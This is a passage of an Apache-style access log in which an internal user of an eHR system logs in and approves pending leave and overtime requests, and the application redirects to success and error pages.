AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.60 - - [02/Dec/2025:10:51:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 192.168.11.60 - - [02/Dec/2025:10:51:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12103 192.168.11.60 - - [02/Dec/2025:10:52:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.60 - - [02/Dec/2025:10:52:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41348 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41348 192.168.11.60 - - [02/Dec/2025:10:52:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 227900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:06 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 227900 192.168.11.60 - - [02/Dec/2025:10:52:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.11.60 - - [02/Dec/2025:10:52:20 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:20 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:10:52:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:52:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10434 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10434 192.168.11.60 - - [02/Dec/2025:10:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12111 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12111 192.168.11.60 - - [02/Dec/2025:10:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12111 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:36 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 12111 192.168.11.60 - - [02/Dec/2025:10:52:41 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 4004 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:41 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 4004 192.168.11.60 - - [02/Dec/2025:10:52:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10224 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10224 192.168.11.60 - - [02/Dec/2025:10:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41445 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 41445 192.168.11.60 - - [02/Dec/2025:10:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 223739 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 223739 192.168.11.60 - - [02/Dec/2025:10:52:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:55 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:52:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:57 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:52:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132677%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132677&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:58 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132677%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132677&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:52:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:52:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:53:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7256 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 7256 192.168.11.60 - - [02/Dec/2025:10:53:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9921 192.168.11.60 - - [02/Dec/2025:10:53:07 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:07 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:10:53:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:20 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:53:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:24 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:53:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:25 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.60 - - [02/Dec/2025:10:53:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 66373 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 66373 192.168.11.60 - - [02/Dec/2025:10:53:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 67844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 200 67844 192.168.11.60 - - [02/Dec/2025:10:53:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:38 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:53:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132678%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132678&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:38 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D132678%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132678&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AB%8B%E5%81%87%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:39 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:53:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10225 192.168.11.60 - - [02/Dec/2025:10:53:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33131 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 33131 192.168.11.60 - - [02/Dec/2025:10:53:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1145060 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:53:42 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 200 1145060 192.168.11.60 - - [02/Dec/2025:10:54:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:21 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:54:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:22 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.11.60 - - [02/Dec/2025:10:54:35 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132679%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132679&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%B0%BD" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:54:35 +0800] "GET 